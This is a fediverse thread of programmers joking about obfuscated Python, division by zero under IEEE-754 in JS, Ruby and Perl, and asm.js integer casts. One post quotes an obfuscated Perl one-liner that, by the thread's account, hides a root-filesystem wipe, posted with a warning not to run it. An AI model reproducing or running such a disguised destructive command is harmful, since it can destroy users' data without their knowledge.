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   ari :prideified: (ar@is-a.cat)'s status on Saturday, 14-Sep-2024 19:44:41 JST ari :prideified:

   Just python being sus:

   >>> chr(sum(range(ord(min(str(not()))))))
   'ඞ'
   
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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 19:45:49 JST Haelwenn /элвэн/ :triskell:

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     @ar Really reminds me of the obfuscation Perl allows to do.
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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:10:16 JST Haelwenn /элвэн/ :triskell:

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     @Ollivdb @ar I think that's thanks to all numbers in JS being floats, that said both Perl and Python refuse 1.0/0.0 so that's… interesting, I might be wrong there, been ages since I've looked into IEEE floats.

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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 20:10:17 JST Oliver Vanderb

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     @lanodan @ar

     JS, where you can devide by zero....

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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:14:01 JST Haelwenn /элвэн/ :triskell:

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     @Ollivdb @ar Yeah, at least I'm pretty glad I don't have to deal with JS too much.
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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 20:14:02 JST Oliver Vanderb

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     • Haelwenn /элвэн/ :triskell:

     @lanodan @ar
     Something like that. But JS is sometimes simply a huge fu* up 🤷♂️

     https://infosec.exchange/@i0null/113052545279585538

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     ari :prideified: (ar@is-a.cat)'s status on Saturday, 14-Sep-2024 20:17:42 JST ari :prideified:

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     • Oliver Vanderb

     @lanodan @Ollivdb meanwhile ruby:

     [1] pry(main)> 1.0/0.0
     => Infinity
     

     but here's the kicker: it's allowed by ieee-754

     or, to be more specific: you can trap on operations which produce problematic results, but you don't have to.

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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 20:19:19 JST Oliver Vanderb

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     @ar @lanodan

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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:20:22 JST Haelwenn /элвэн/ :triskell:

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     @Ollivdb @ar > -10/0
     -InfinityFinally something which makes sense.
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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 20:20:40 JST Oliver Vanderb

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     @ar @lanodan

     Every math teacher will execute you for that with a wooden square root of a pine tree 🙂

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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 20:27:25 JST Oliver Vanderb

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     @lanodan @ar
     WTF 😭

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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 20:27:26 JST Oliver Vanderb

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     @lanodan @ar

     Well...but no.

     An exception would make sense, in ALL languages. Maybe you can have some "experimental" math library for the math pros, where they can check for new theories. But not for the common programmer dude.

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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:31:02 JST Haelwenn /элвэн/ :triskell:

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     @Ollivdb @ar Well control over the floating point exceptions is a thing C allows (fesetexceptflag(3)) but I think should be kept well defined and static in languages like JS. (Specially JS in fact, due to it's sort of complete opposite to typing)

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     :umu: :umu: (a1ba@suya.place)'s status on Saturday, 14-Sep-2024 20:34:46 JST :umu: :umu:

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     @lanodan @ar perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
     
     
     No, don't run it. Especially if your rm implementation don't have preserve root
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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:39:24 JST Haelwenn /элвэн/ :triskell:

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     @a1ba @ar *launches a throwaway VM*
     
     Oh wow, beautiful.
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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:46:08 JST Haelwenn /элвэн/ :triskell:

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     @a1ba @ar Also while I know how to use Perl, this is some beautiful unreadable mess, quite shows why Perl can be (serial) line noise.
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     :umu: :umu: (a1ba@suya.place)'s status on Saturday, 14-Sep-2024 20:48:19 JST :umu: :umu:

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     • Haelwenn /элвэн/ :triskell:
     @lanodan @ar this was posted on Russian forum many years ago by some troll
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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 20:56:54 JST Haelwenn /элвэн/ :triskell:

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     @a1ba @ar format c: (don't run this on MS-DOS/NT) but under layers of obfuscation.

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     Haelwenn /элвэн/ :triskell: (lanodan@queer.hacktivis.me)'s status on Saturday, 14-Sep-2024 21:45:41 JST Haelwenn /элвэн/ :triskell:

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     • soc

     @Ollivdb @soc @ar Yeah, only way to somewhat get integers in JS is to cast with |0, like 0.5|0 instead of 0.5.

     Something we got since asm.js. And not to be confused with wasm which is actual bytecode while asm.js is backwards-compatible JS but leaning on modern JIT compilers recognising those explicit casts to get performance gains (integer operations being *much* faster).

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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 21:45:42 JST Oliver Vanderb

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     • soc

     @soc @lanodan @ar I don't see a float there. But maybe JS handles all numbers as floats internally. Don't know

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     soc (soc@chaos.social)'s status on Saturday, 14-Sep-2024 21:45:43 JST soc

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     • Oliver Vanderb

     @Ollivdb @lanodan @ar That seems to be exactly what the standard specifies:
     https://en.wikipedia.org/wiki/IEEE_754#Special_values

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     Oliver Vanderb (ollivdb@nrw.social)'s status on Saturday, 14-Sep-2024 21:45:45 JST Oliver Vanderb

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     • Haelwenn /элвэн/ :triskell:

     @lanodan @ar

     It gets even weirder 😂